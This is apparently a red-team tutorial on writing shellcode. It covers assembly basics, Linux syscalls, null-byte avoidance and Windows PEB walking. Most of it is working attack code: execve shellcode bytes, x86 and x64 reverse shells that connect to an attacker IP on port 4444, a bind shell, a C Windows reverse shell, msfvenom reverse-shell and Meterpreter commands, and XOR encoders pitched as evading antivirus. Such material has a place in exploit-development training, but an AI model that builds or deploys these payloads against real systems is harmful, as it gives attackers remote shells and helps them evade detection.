Legend:
[x86]= 32-bit |[x64]= 64-bit |[LIN]= Linux |[WIN]= Windows |[ASM]= Assembly |[OPSEC]= Stealth consideration
1. Introduction — What is Shellcode
What it means: Shellcode is position-independent machine code injected into a running process to execute arbitrary commands — traditionally spawning a shell, hence the name. In modern red teaming, shellcode is the delivery format for beacons, reverse shells, and staged payloads. Understanding how to write it from scratch gives you the ability to craft custom, AV-evading payloads when public tools are detected.
Shellcode execution flow:
┌──────────────────────────────────────────────────────────────┐
│ Vulnerability → Control EIP/RIP │
│ (Buffer Overflow, (execution diverted to our bytes) │
│ Heap Spray, │
│ Process Injection) → Shellcode executes in memory │
│ (no file on disk, just bytes) │
│ → Desired action │
│ (shell, reverse conn, download) │
└──────────────────────────────────────────────────────────────┘
Shellcode Requirements
✔ Position Independent → works at any memory address (no hardcoded addrs)
✔ Null-byte Free → strings end at \x00 — must avoid in most exploits
✔ No bad chars → avoid chars filtered by the vulnerable application
✔ Small size → buffer space is often limited
✔ Self-contained → no external dependencies or imports
✔ Correct architecture → x86 vs x64 — not interchangeable
Shellcode Types
| Type | Purpose | Size |
|---|---|---|
| execve /bin/sh | Spawn local shell | ~25-30 bytes |
| Reverse shell | Connect back to attacker | ~70-100 bytes |
| Bind shell | Listen on a port | ~100-150 bytes |
| Staged (stager) | Download + exec second stage | ~50-100 bytes |
| Egg hunter | Find shellcode in memory | ~32 bytes |
| Syscall stub | Single system call | ~10-20 bytes |
2. Assembly Fundamentals (x86 / x64)
What it means: Shellcode is written in assembly — the language closest to raw machine code. You must understand registers, calling conventions, stack operations, and syscall mechanics to write working shellcode. x86 and x64 differ significantly in register naming, calling convention, and syscall invocation.
2.1 Registers
x86 (32-bit) Registers:
┌───────────────────────────────────────────────────────────┐
│ EAX EBX ECX EDX — General purpose (32-bit) │
│ ESI EDI — Source / Destination index │
│ ESP — Stack pointer │
│ EBP — Base pointer (stack frame) │
│ EIP — Instruction pointer (RIP in x64) │
│ │
│ Sub-registers: │
│ EAX → AX (16-bit) → AH (high 8) / AL (low 8) │
└───────────────────────────────────────────────────────────┘
x64 (64-bit) Registers:
┌───────────────────────────────────────────────────────────┐
│ RAX RBX RCX RDX — General purpose (64-bit) │
│ RSI RDI R8 R9 — Extended / arg registers │
│ R10 R11 R12 R13 R14 R15 │
│ RSP — Stack pointer │
│ RBP — Base pointer │
│ RIP — Instruction pointer │
│ │
│ Sub-registers: │
│ RAX → EAX (32) → AX (16) → AH/AL (8) │
└───────────────────────────────────────────────────────────┘
2.2 x86 Calling Convention (cdecl)
; Arguments pushed RIGHT to LEFT onto stack
; Return value in EAX
; Caller cleans up the stack
; Example: int execve(const char *pathname, char *const argv[], char *const envp[])
; Call execve("/bin/sh", ["/bin/sh", NULL], NULL)
push 0 ; envp = NULL
push 0 ; argv = NULL[1]
push <addr of "/bin/sh"> ; argv
push <addr of "/bin/sh"> ; pathname
call execve
2.3 x64 Calling Convention (System V AMD64 ABI — Linux)
; Arguments passed in REGISTERS (not stack) for first 6 args:
; RDI = arg1 (first arg)
; RSI = arg2
; RDX = arg3
; RCX = arg4
; R8 = arg5
; R9 = arg6
; Further args go on stack
; Return value in RAX
; Syscall number in RAX
; Example: execve("/bin/sh", ["/bin/sh", NULL], NULL)
mov rdi, <addr of "/bin/sh"> ; arg1 = pathname
mov rsi, <addr of argv> ; arg2 = argv
mov rdx, 0 ; arg3 = envp = NULL
mov rax, 59 ; syscall number for execve
syscall
2.4 Key Assembly Instructions
; Data movement
mov eax, 1 ; eax = 1
mov [esp], eax ; memory[esp] = eax
lea eax, [ebx+4] ; eax = address of (ebx+4)
xchg eax, ebx ; swap eax and ebx
; Arithmetic
add eax, 5 ; eax = eax + 5
sub eax, 3 ; eax = eax - 3
inc eax ; eax++
dec eax ; eax--
xor eax, eax ; eax = 0 (zero register — no null bytes!)
mul ebx ; EDX:EAX = EAX * EBX
; Stack
push eax ; push eax onto stack (ESP -= 4)
pop eax ; pop from stack into eax (ESP += 4)
pushad ; push all general registers
popad ; pop all general registers
; Control flow
jmp <label> ; unconditional jump
call <label> ; push EIP, jump to label
ret ; pop EIP (return)
jz <label> ; jump if zero flag set
jnz <label> ; jump if zero flag NOT set
jl <label> ; jump if less
jg <label> ; jump if greater
; Comparison
cmp eax, 5 ; sets flags based on eax-5 (doesn't store result)
test eax, eax ; AND eax,eax — sets ZF if eax==0
; Logical
and eax, 0xFF ; bitwise AND
or eax, 0x01 ; bitwise OR
xor eax, eax ; XOR (zero register)
not eax ; bitwise NOT
; Bit shifts
shl eax, 2 ; shift left 2 (multiply by 4)
shr eax, 1 ; shift right 1 (divide by 2)
ror eax, 8 ; rotate right 8 bits
rol eax, 8 ; rotate left 8 bits
; String operations (with REP prefix)
rep movsb ; copy ECX bytes from ESI to EDI
rep stosb ; fill ECX bytes at EDI with AL
2.5 NASM Syntax Essentials
; NASM (Netwide Assembler) — most common for shellcode
section .text
global _start
_start:
; your code here
; Intel syntax: mov dst, src (NASM default)
; AT&T syntax: movl src, dst (GAS — opposite!)
; Define bytes
db 0x41 ; define byte 0x41
dw 0x4142 ; define word (2 bytes)
dd 0xdeadbeef ; define dword (4 bytes)
dq 0x1122334455667788 ; define qword (8 bytes)
; String
db "/bin/sh",0 ; null-terminated string
; Sections
section .text ; code
section .data ; initialized data
section .bss ; uninitialized data
3. Linux Syscall Interface
What it means: On Linux, shellcode doesn't call libc functions — it invokes kernel
syscalls directly using the int 0x80 instruction (x86) or syscall instruction (x64).
Each syscall has a number, and arguments are loaded into specific registers before the call.
3.1 x86 Linux Syscall Convention
; Place syscall number in EAX
; Arguments in: EBX, ECX, EDX, ESI, EDI, EBP
; Invoke with: int 0x80
; Return value in EAX
; Example: exit(0)
mov eax, 1 ; syscall 1 = exit
mov ebx, 0 ; arg1 = exit code 0
int 0x80 ; invoke kernel
3.2 x64 Linux Syscall Convention
; Place syscall number in RAX
; Arguments in: RDI, RSI, RDX, R10, R8, R9
; Invoke with: syscall
; Return value in RAX
; RCX and R11 are clobbered by syscall instruction
; Example: exit(0)
mov rax, 60 ; syscall 60 = exit
xor rdi, rdi ; arg1 = exit code 0
syscall
3.3 Key Linux Syscall Numbers
x86 (32-bit) x64 (64-bit) Syscall Arguments
─────────────────────────────────────────────────────────
1 60 exit (int status)
2 57 fork ()
3 0 read (fd, buf, count)
4 1 write (fd, buf, count)
5 2 open (path, flags, mode)
6 3 close (fd)
11 59 execve (path, argv, envp)
41 41 socket (domain, type, proto)
42 42 connect (sockfd, addr, len)
43 43 accept (sockfd, addr, len)
49 49 bind (sockfd, addr, len)
50 50 listen (sockfd, backlog)
63 33 dup2 (oldfd, newfd)
90 9 mmap (addr, len, prot, flags, fd, off)
91 11 munmap (addr, len)
125 10 mprotect (addr, len, prot)
Full reference:
x86: /usr/include/x86_64-linux-gnu/asm/unistd_32.h x64: /usr/include/x86_64-linux-gnu/asm/unistd_64.h OR: cat /usr/include/asm/unistd_64.h | grep execve
4. Writing Your First Shellcode (execve /bin/sh)
What it means: The classic "Hello World" of shellcode — spawning /bin/sh via the
execve syscall. This is position-independent, null-byte-free, and around 25-30 bytes.
Understanding this forms the foundation for every other shellcode you'll write.
4.1 Understand the execve Call
// C equivalent:
char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
// Syscall signature:
// int execve(const char *pathname, char *const argv[], char *const envp[]);
// x86 syscall number: 11 (0xb)
// Arguments: EBX=pathname, ECX=argv, EDX=envp
4.2 x86 execve Shellcode (Step-by-Step)
; execve("/bin/sh", ["/bin/sh", NULL], NULL) on x86 Linux
; Strategy:
; 1. Push null-terminated "/bin/sh" onto stack (avoid nulls)
; 2. Set EBX = address of "/bin/sh" on stack
; 3. Build argv[] on stack: [addr_of_binsh, NULL]
; 4. Set ECX = address of argv[]
; 5. Set EDX = NULL (envp)
; 6. Set EAX = 11 (execve syscall)
; 7. int 0x80
section .text
global _start
_start:
; Clear registers (xor avoids null bytes unlike 'mov eax, 0')
xor eax, eax ; eax = 0
xor ebx, ebx ; ebx = 0
xor ecx, ecx ; ecx = 0
xor edx, edx ; edx = 0
; Push "/bin//sh" onto stack (8 bytes — aligned, "//" is same as "/")
; "/bin//sh" in little-endian hex:
; "hs//" → 0x68732f2f (pushed first, ends up at higher address)
; "nib/" → 0x6e69622f
push 0x68732f2f ; "hs//" — little endian of "//sh"
push 0x6e69622f ; "nib/" — little endian of "/bin"
; Stack now contains: "/bin//sh" at ESP
; EBX = pointer to "/bin//sh"
mov ebx, esp ; ebx = &"/bin//sh"
; Build argv[] = [&"/bin//sh", NULL]
push eax ; push NULL (argv = NULL) — eax is already 0[1]
push ebx ; push &"/bin//sh" (argv)
mov ecx, esp ; ecx = &argv[]
; EDX = NULL (envp)
; edx already = 0 from xor above
; EAX = 11 (execve syscall number)
mov al, 0xb ; use AL (8-bit) to avoid null bytes (0x0000000b has nulls)
; mov eax, 11 → bytes: 0xbb0b000000 (has \x00)
; mov al, 0xb → bytes: 0xb00b (no nulls!)
; Execute syscall
int 0x80
4.3 Assemble, Link, and Test
# Step 1: Assemble
nasm -f elf32 shell.asm -o shell.o
# Step 2: Link
ld -m elf_i386 -o shell shell.o
# OR for static:
ld -m elf_i386 -static -o shell shell.o
# Step 3: Test it works
./shell
# Should give you a $ or sh-x.x$ prompt
# Step 4: Extract shellcode bytes
objdump -d shell | grep "^ " | cut -f2 | tr -d ' \n'
# OR proper format:
objdump -d shell | grep "^ " | cut -f2 | sed 's/ /\\x/g' | sed 's/^/\\x/'
4.4 Shellcode C Wrapper — Execute & Test
// shellcode_test.c — wrap shellcode in C to test execution
#include <stdio.h>
#include <string.h>
// Paste your extracted shellcode here
unsigned char shellcode[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x51\x53\x89\xe1"
"\xb0\x0b\xcd\x80";
int main() {
printf("Shellcode length: %zu bytes\n", strlen(shellcode));
printf("[*] Executing shellcode...\n");
// Cast shellcode to function pointer and call
int (*func)() = (int(*)())shellcode;
func();
return 0;
}
# Compile with executable stack (required for testing)
gcc -m32 -fno-stack-protector -z execstack -o test shellcode_test.c
./test
5. x64 Linux Shellcode
What it means: x64 shellcode follows a different calling convention — arguments go in
registers (RDI, RSI, RDX), the syscall instruction replaces int 0x80, and string
manipulation must be adapted to 64-bit alignment.
5.1 x64 execve /bin/sh
; x64 Linux execve("/bin/sh", ["/bin/sh", NULL], NULL)
; syscall number for execve = 59 (0x3b)
; RDI = pathname, RSI = argv, RDX = envp
section .text
global _start
_start:
; Zero out registers
xor rax, rax ; rax = 0
xor rsi, rsi ; rsi = 0 (argv will be built here)
xor rdx, rdx ; rdx = 0 (envp = NULL)
; Push "/bin//sh" (8 bytes) onto stack
; "/bin//sh" = 0x68732f2f6e69622f in little-endian (8 bytes, fits in 64-bit push)
mov rbx, 0x68732f2f6e69622f ; "/bin//sh"
push rbx
mov rdi, rsp ; rdi = &"/bin//sh"
; Build argv[] on stack: [rdi, NULL]
push rax ; push NULL (argv)[1]
push rdi ; push &"/bin//sh" (argv)
mov rsi, rsp ; rsi = &argv[]
; rdx already 0 (envp = NULL)
; Set syscall number
mov al, 59 ; execve = 59 (use AL to avoid null bytes)
syscall
# Assemble and link x64
nasm -f elf64 shell64.asm -o shell64.o
ld -o shell64 shell64.o
./shell64
# Extract
objdump -d shell64 | grep "^ " | cut -f2 | \
perl -pe 's/(\w{2})\s*/\\x$1/g'
5.2 x64 Compact Shellcode (23 bytes)
; Super compact x64 execve shellcode
; Uses relative addressing trick with RIP
global _start
_start:
xor esi, esi ; RSI = NULL (argv)
mul esi ; RAX = 0, RDX = 0 (mul zeroes both)
push rax ; push null terminator
mov rbx, 0x68732f2f6e69622f ; "/bin//sh"
push rbx
push rsp
pop rdi ; RDI = pointer to "/bin//sh"
push 59
pop rax ; RAX = 59 (execve)
cdq ; RDX = 0 (sign extend EAX into EDX)
syscall
6. Null Byte Avoidance
What it means: Most exploit scenarios (buffer overflows via strcpy, SQL fields,
format strings) use string functions that stop at \x00. A null byte in your shellcode
truncates it — the rest never gets copied. Every shellcode technique must avoid null bytes.
6.1 Why Null Bytes Appear
; NULL BYTE SOURCES and their FIXES:
; ────────────────────────────────────────────────────────────
; Problem 1: Moving small values into full-width registers
mov eax, 11 ; bytes: b8 0b 00 00 00 ← THREE null bytes!
; Fix: zero register first, use lowest sub-register
xor eax, eax
mov al, 11 ; bytes: b0 0b ← no nulls!
; Problem 2: Short jumps produce null in some assemblers
jmp short 0 ; can produce 00 offset
; Fix: use actual label targets
; Problem 3: Null-terminated strings
db "/bin/sh", 0 ; contains 0x00 null terminator
; Fix: push the string in pieces or XOR it in at runtime
; Problem 4: Large address moves
mov eax, 0x0000ff00 ; contains null bytes
; Fix: encode/decode — XOR with known value
6.2 Null-Byte-Free Techniques
; ─── Technique 1: XOR to zero a register ───
xor eax, eax ; ✅ no null bytes
; vs:
mov eax, 0 ; ❌ contains 0x00
; ─── Technique 2: Use sub-register for small values ───
xor eax, eax
mov al, 0xb ; syscall 11 for execve ✅
; vs:
mov eax, 0xb ; ❌ b8 0b 00 00 00
; ─── Technique 3: Push string as dwords (arithmetic trick) ───
; "/bin/sh\0" — avoid the \x00 at the end
; "/bin//sh" trick — use double slash (same semantic)
push 0x68732f2f ; "//sh" — ✅ all non-null
push 0x6e69622f ; "/bin" — ✅ all non-null
; the double // means same as single / in Unix paths
; ─── Technique 4: XOR encoded string ───
; If "/bin/sh" must be exact — XOR with key, decode at runtime
; Key = 0x41: "/bin/sh" XORed = 0x6e2d632e37686928 (no nulls)
; Decoder stub XORs it back and executes
; ─── Technique 5: Subtract to avoid large null-containing values ───
; Want 0x00000080 but has nulls:
xor eax, eax
mov ax, 0x0180 ; ✅
sub ax, 0x100 ; ✅ result = 0x0080 — no null bytes in instructions
; ─── Technique 6: Shift to build value ───
xor eax, eax
mov al, 0x0b
shl eax, 8 ; shift left 8 bits
; Build complex values via shifts+ORs without null bytes
6.3 Check for Null Bytes in Shellcode
# Check shellcode bytes for nulls
echo -ne "\x31\xc0\x31\xdb\x50\xb0\x0b\xcd\x80" | xxd | grep "00"
# Using Python
python3 -c "
sc = b'\x31\xc0\x31\xdb\x50\xb0\x0b\xcd\x80'
if b'\x00' in sc:
print('NULL BYTES FOUND at:', [hex(i) for i,b in enumerate(sc) if b==0])
else:
print('No null bytes - clean shellcode')
"
# Full objdump check
objdump -d shell | grep "00 " | grep -v "Disassembly\|<"
6.4 Bad Character Testing
# Generate all 256 bytes for bad char testing
# Paste into exploit and check what gets corrupted in memory
python3 -c "
import sys
badchars = b'\x00' # known bad chars — exclude from test
sc = b''
for i in range(1, 256):
if i not in badchars:
sc += bytes([i])
sys.stdout.buffer.write(sc)
" > badchars.bin
# Common bad chars by protocol/function:
# strcpy: \x00 (null)
# gets: \x00 \x0a (null, newline)
# HTTP: \x00 \x0a \x0d (null, LF, CR)
# snprintf: \x00 \x25 (null, %)
# scanf: \x00 \x09 \x0a \x0d \x20 (whitespace variants)
7. Reverse Shell Shellcode
What it means: A reverse shell shellcode creates a TCP socket back to the attacker,
then redirects stdin/stdout/stderr of /bin/sh to that socket — giving the attacker an
interactive shell over the network. This is the most commonly used shellcode in real
exploits.
7.1 Reverse Shell Logic (C Reference)
// What the shellcode must do:
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
// AF_INET=2, SOCK_STREAM=1, proto=0
struct sockaddr_in addr;
addr.sin_family = AF_INET; // 2
addr.sin_port = htons(4444); // 0x115c (big endian)
addr.sin_addr.s_addr = inet_addr("192.168.1.1"); // attacker IP
connect(sockfd, (struct sockaddr*)&addr, sizeof(addr));
dup2(sockfd, 0); // stdin → socket
dup2(sockfd, 1); // stdout → socket
dup2(sockfd, 2); // stderr → socket
execve("/bin/sh", NULL, NULL);
7.2 x86 Reverse Shell Shellcode
; x86 Linux Reverse Shell
; Attacker IP: 192.168.1.100 (0xc0a80164)
; Port: 4444 (0x115c)
section .text
global _start
_start:
; ─── socket(AF_INET, SOCK_STREAM, 0) → EAX=sockfd ───
xor eax, eax
xor ebx, ebx
xor ecx, ecx
; socketcall syscall = 102 (0x66) on x86
; EBX = subcall number (SYS_SOCKET=1)
; ECX = ptr to args array
mov al, 0x66 ; socketcall syscall
mov bl, 0x1 ; SYS_SOCKET = 1
push ecx ; proto = 0
push 0x1 ; SOCK_STREAM = 1
push 0x2 ; AF_INET = 2
mov ecx, esp ; ecx = ptr to [AF_INET, SOCK_STREAM, 0]
int 0x80 ; socket() → EAX = sockfd
mov edi, eax ; save sockfd in EDI
; ─── connect(sockfd, &addr, sizeof(addr)) ───
xor eax, eax
xor ebx, ebx
mov al, 0x66 ; socketcall
mov bl, 0x3 ; SYS_CONNECT = 3
; Build sockaddr_in on stack (in reverse)
push 0x6401a8c0 ; sin_addr = 192.168.1.100 (little-endian)
push word 0x5c11 ; sin_port = 4444 (big-endian: 0x115c)
push word 0x2 ; sin_family = AF_INET
mov ecx, esp ; ECX = &sockaddr_in
push 0x10 ; sizeof(sockaddr_in) = 16 = 0x10
push ecx ; ptr to sockaddr_in
push edi ; sockfd
mov ecx, esp ; ECX = ptr to args
int 0x80 ; connect()
; ─── dup2(sockfd, 0/1/2) — redirect stdin/stdout/stderr ───
xor ecx, ecx
mov cl, 0x3 ; counter = 3 (dup fd 0,1,2)
dup2_loop:
xor eax, eax
mov al, 0x3f ; dup2 syscall = 63 = 0x3f
dec ecx ; 2, 1, 0
mov ebx, edi ; old fd = sockfd
int 0x80
jnz dup2_loop ; loop until ecx = 0
; ─── execve("/bin//sh", NULL, NULL) ───
xor eax, eax
xor edx, edx
push eax ; null terminator
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; EBX = &"/bin//sh"
mov ecx, edx ; ECX = NULL (argv)
mov al, 0xb ; execve = 11
int 0x80
7.3 x64 Reverse Shell Shellcode
; x64 Linux Reverse Shell
; IP: 192.168.1.100 = 0xc0a80164
; Port: 4444 = 0x115c
section .text
global _start
_start:
; ─── socket(AF_INET=2, SOCK_STREAM=1, 0) ───
xor rax, rax
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
mov al, 41 ; socket syscall = 41
mov dil, 2 ; AF_INET
mov sil, 1 ; SOCK_STREAM
syscall ; RAX = sockfd
mov r9, rax ; save sockfd
; ─── connect(sockfd, &addr, 16) ───
xor rax, rax
push rax ; padding
push rax ; padding
; Build sockaddr_in (16 bytes total):
mov dword [rsp], 0x0002 ; sin_family=AF_INET (low 2 bytes)
mov word [rsp+2], 0x5c11 ; sin_port=4444 big-endian
mov dword [rsp+4], 0x6401a8c0 ; sin_addr=192.168.1.100
mov al, 42 ; connect syscall = 42
mov rdi, r9 ; sockfd
mov rsi, rsp ; &sockaddr_in
mov dl, 16 ; sizeof(sockaddr_in)
syscall
; ─── dup2 loop (fd 2, 1, 0) ───
xor rsi, rsi
mov sil, 3
dup2_loop:
dec rsi
mov al, 33 ; dup2 = 33
mov rdi, r9 ; sockfd
syscall
test rsi, rsi
jnz dup2_loop
; ─── execve("/bin//sh") ───
xor rax, rax
push rax
mov rbx, 0x68732f2f6e69622f ; "/bin//sh"
push rbx
mov rdi, rsp ; rdi = &"/bin//sh"
xor rsi, rsi ; argv = NULL
xor rdx, rdx ; envp = NULL
mov al, 59 ; execve = 59
syscall
8. Bind Shell Shellcode
What it means: A bind shell opens a listening port on the target and waits for the attacker to connect. It's useful when the target machine cannot reach the attacker (no outbound connections), but the attacker can reach the target on the open port.
8.1 Bind Shell Logic (C Reference)
// Equivalent C code:
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
int optval = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, 4);
struct sockaddr_in addr = {AF_INET, htons(4444), INADDR_ANY};
bind(sockfd, (struct sockaddr*)&addr, sizeof(addr));
listen(sockfd, 0);
int clientfd = accept(sockfd, NULL, NULL);
dup2(clientfd, 0); // stdin
dup2(clientfd, 1); // stdout
dup2(clientfd, 2); // stderr
execve("/bin/sh", NULL, NULL);
8.2 x64 Bind Shell
; x64 Linux Bind Shell — port 4444
section .text
global _start
_start:
; ─── socket(2, 1, 0) ───
xor rax, rax
mov al, 41 ; socket
xor rdi, rdi
mov dil, 2 ; AF_INET
xor rsi, rsi
mov sil, 1 ; SOCK_STREAM
xor rdx, rdx
syscall
mov r9, rax ; r9 = sockfd
; ─── bind(sockfd, &addr, 16) ───
xor rax, rax
push rax ; INADDR_ANY = 0.0.0.0
push word 0x5c11 ; port 4444 big-endian
push word 0x0002 ; AF_INET
mov rsi, rsp ; &sockaddr_in
mov al, 49 ; bind syscall = 49
mov rdi, r9
mov dl, 16
syscall
; ─── listen(sockfd, 0) ───
xor rax, rax
mov al, 50 ; listen = 50
mov rdi, r9
xor rsi, rsi
syscall
; ─── accept(sockfd, 0, 0) ───
xor rax, rax
mov al, 43 ; accept = 43
mov rdi, r9
xor rsi, rsi
xor rdx, rdx
syscall
mov r10, rax ; r10 = clientfd
; ─── dup2 stdin/stdout/stderr → clientfd ───
xor rsi, rsi
mov sil, 3
dup2_loop:
dec rsi
mov al, 33
mov rdi, r10
syscall
test rsi, rsi
jnz dup2_loop
; ─── execve("/bin//sh") ───
xor rax, rax
push rax
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov al, 59
syscall
9. Windows Shellcode Fundamentals
What it means: Windows shellcode cannot use Linux syscalls — Windows NT uses a different
syscall mechanism and the numbers change with every OS version. Instead, Windows shellcode
resolves WinAPI function addresses at runtime by parsing the Process Environment Block (PEB)
to find loaded DLL base addresses, then walking the Export Address Table to find functions
like LoadLibraryA, WSAStartup, WSASocket, and CreateProcess.
9.1 PEB Walking — Finding DLL Base Addresses
; Windows shellcode must find WinAPI addresses at runtime
; The PEB (Process Environment Block) contains a list of loaded modules
; TEB → PEB → PEB_LDR_DATA → InMemoryOrderModuleList → DLL bases
; x86 — Access TEB via FS:[0x30]
; x64 — Access TEB via GS:[0x60]
; x86 PEB Walk to find kernel32.dll base:
xor eax, eax
mov eax, [fs:0x30] ; EAX = PEB
mov eax, [eax+0x0c] ; EAX = PEB->Ldr
mov eax, [eax+0x14] ; EAX = Ldr->InMemoryOrderModuleList.Flink
mov eax, [eax] ; EAX = next entry (ntdll)
mov eax, [eax] ; EAX = next entry (kernel32)
mov eax, [eax+0x10] ; EAX = kernel32.dll base address
; x64 PEB Walk:
xor rdx, rdx
mov rdx, [gs:0x60] ; RDX = PEB
mov rdx, [rdx+0x18] ; RDX = PEB->Ldr
mov rdx, [rdx+0x20] ; RDX = InMemoryOrderModuleList.Flink
mov rsi, [rdx] ; RSI = next (ntdll)
mov rsi, [rsi] ; RSI = next (kernel32)
mov rdx, [rsi+0x20] ; RDX = kernel32 base address
9.2 Export Address Table (EAT) Parsing
; Once you have the DLL base address, walk its Export Table to find functions
; DLL Base → PE Header → Optional Header → Export Directory → AddressOfNames[]
; Pseudocode:
; base = kernel32_base
; e_lfanew = *(base + 0x3c) ; PE header offset
; opt_header = base + e_lfanew + 0x18 ; Optional header
; export_dir_rva = *(opt_header + 0x78) ; Export directory RVA
; export_dir = base + export_dir_rva
; num_names = *(export_dir + 0x18) ; NumberOfNames
; names_rva = *(export_dir + 0x20) ; AddressOfNames
; funcs_rva = *(export_dir + 0x1c) ; AddressOfFunctions
; ords_rva = *(export_dir + 0x24) ; AddressOfNameOrdinals
;
; For each name in names array:
; name_ptr = base + *(names_rva + i*4)
; hash_name(name_ptr) == target_hash?
; ordinal = *(ords_rva + i*2)
; func_rva = *(funcs_rva + ordinal*4)
; func_addr = base + func_rva
; Hashing function names avoids plaintext strings in shellcode
; Common hash: ror13 additive hash
9.3 ROR13 Hash Function (API Hashing)
// ROR13 — rotate right 13 bits and add character
// Used in Metasploit and most public Windows shellcode
unsigned int ror13_hash(const char *name) {
unsigned int hash = 0;
while (*name) {
hash = ((hash >> 13) | (hash << (32-13))); // ROR 13
hash += (unsigned char)*name;
name++;
}
return hash;
}
// Common API hashes (ROR13):
// LoadLibraryA = 0xec0e4e8e
// GetProcAddress = 0x7c0dfcaa
// WSAStartup = 0x006b8029
// WSASocketA = 0xe0df0fea
// connect = 0x6174a599
// CreateProcessA = 0x16b3fe72
// ExitProcess = 0x73e2d87e
// WinExec = 0x98fe8a0e
// VirtualAlloc = 0xe553a458
10. Windows x64 Shellcode (WinAPI)
What it means: Windows x64 shellcode uses the Microsoft x64 calling convention — the first four arguments go in RCX, RDX, R8, R9 (left to right), with shadow space allocated on the stack. The PEB walk and EAT parsing follows the same logic but with 64-bit offsets.
10.1 Windows x64 Calling Convention
; Microsoft x64 calling convention (Windows):
; RCX = arg1
; RDX = arg2
; R8 = arg3
; R9 = arg4
; Stack = arg5, arg6, ...
; RSP must be 16-byte aligned before call
; 32 bytes of "shadow space" (home space) must be allocated before each call
; Return value in RAX
; Example: MessageBoxA(NULL, "Hello", "Title", MB_OK)
sub rsp, 0x28 ; 32 bytes shadow space + 8 align
xor rcx, rcx ; hWnd = NULL
lea rdx, [msg] ; lpText = "Hello"
lea r8, [title] ; lpCaption = "Title"
xor r9d, r9d ; uType = MB_OK = 0
call MessageBoxA
add rsp, 0x28 ; cleanup shadow space
10.2 Full Windows x64 Reverse Shell Framework
/*
* Windows x64 Reverse Shell — C implementation showing the pattern
* Real shellcode implements this in assembly with PEB walking
* This C version clarifies the logic flow
*/
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
void reverse_shell(char *ip, short port) {
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
SOCKET s = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
NULL, 0, WSA_FLAG_OVERLAPPED);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(ip);
connect(s, (SOCKADDR*)&addr, sizeof(addr));
STARTUPINFOA si = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s;
PROCESS_INFORMATION pi = {0};
CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE,
0, NULL, NULL, &si, &pi);
}
10.3 msfvenom Windows Shellcode (Use as Reference)
# Generate Windows x64 reverse shell shellcode
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f c -b "\x00" \
-o shell.c
# Windows x64 Meterpreter (staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f raw -o meterpreter.bin
# Windows x64 — calc.exe (PoC — no AV concern)
msfvenom -p windows/x64/exec CMD=calc.exe \
-f c -b "\x00" \
-o calc.c
# x86 (32-bit Windows target)
msfvenom -p windows/shell_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f c -b "\x00\x0a\x0d" \
-o shell32.c
# Output formats:
# -f c → C array
# -f py → Python bytes
# -f raw → raw binary
# -f hex → hex string
# -f powershell → PowerShell byte array
# -f base64 → base64 encoded
11. Shellcode Encoding & Obfuscation
What it means: Encoded shellcode removes bad characters and evades signature-based detection. An encoder wraps your shellcode in a decoder stub — when executed, the stub decodes the original shellcode in memory and jumps to it. This is how msfvenom's encoders (shikata_ga_nai) work.
11.1 XOR Encoder / Decoder
# Python — XOR encode shellcode to remove bad chars
def xor_encode(shellcode, key):
encoded = bytearray()
for byte in shellcode:
encoded.append(byte ^ key)
return bytes(encoded)
# Original shellcode
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Find a key that produces no null bytes
for key in range(1, 256):
encoded = xor_encode(shellcode, key)
if b'\x00' not in encoded:
print(f"Key: 0x{key:02x}")
print("Encoded:", ', '.join(f'0x{b:02x}' for b in encoded))
break
; XOR Decoder Stub (x86)
; Decodes XOR-encoded shellcode in-place and jumps to it
decoder:
jmp short call_shellcode ; JMP/CALL trick for PIC
decode_loop:
pop esi ; ESI = address of encoded shellcode
xor ecx, ecx
mov cl, <shellcode_length> ; CL = number of bytes to decode
xor_loop:
xor byte [esi], 0x41 ; XOR each byte with key 0x41
inc esi
loop xor_loop
jmp short decoded_shellcode ; jump to decoded shellcode
call_shellcode:
call decode_loop
encoded_shellcode:
; ...XOR-encoded shellcode bytes here...
decoded_shellcode:
; execution continues here after decode
11.2 JMP/CALL/POP Technique (Get EIP/RIP)
; Problem: shellcode doesn't know its own address in memory
; (no fixed base — position independent!)
; Solution: JMP/CALL/POP trick
; When CALL executes, it pushes the address of the NEXT instruction (the data)
; POP retrieves this address — now you know where your data is!
_start:
jmp short get_addr ; jump over decoder/data to CALL
decoder:
pop esi ; ESI = address of "data" label below
; use ESI to reference shellcode/data by offset
get_addr:
call decoder ; pushes addr of "data" onto stack, jumps to decoder
data:
db "/bin//sh", 0 ; ← CALL pushes the address of this
11.3 msfvenom Encoders
# List available encoders
msfvenom -l encoders
# Key encoders:
# x86/shikata_ga_nai — polymorphic XOR feedback — best for x86
# x64/xor_dynamic — XOR for x64
# x86/countdown — XOR with subtraction
# x86/alpha_mixed — alphanumeric only output
# x86/alpha_upper — uppercase alphanumeric
# x86/unicode_mixed — unicode-compatible
# Encode with shikata_ga_nai (5 iterations for extra polymorphism)
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 \
-f c -b "\x00"
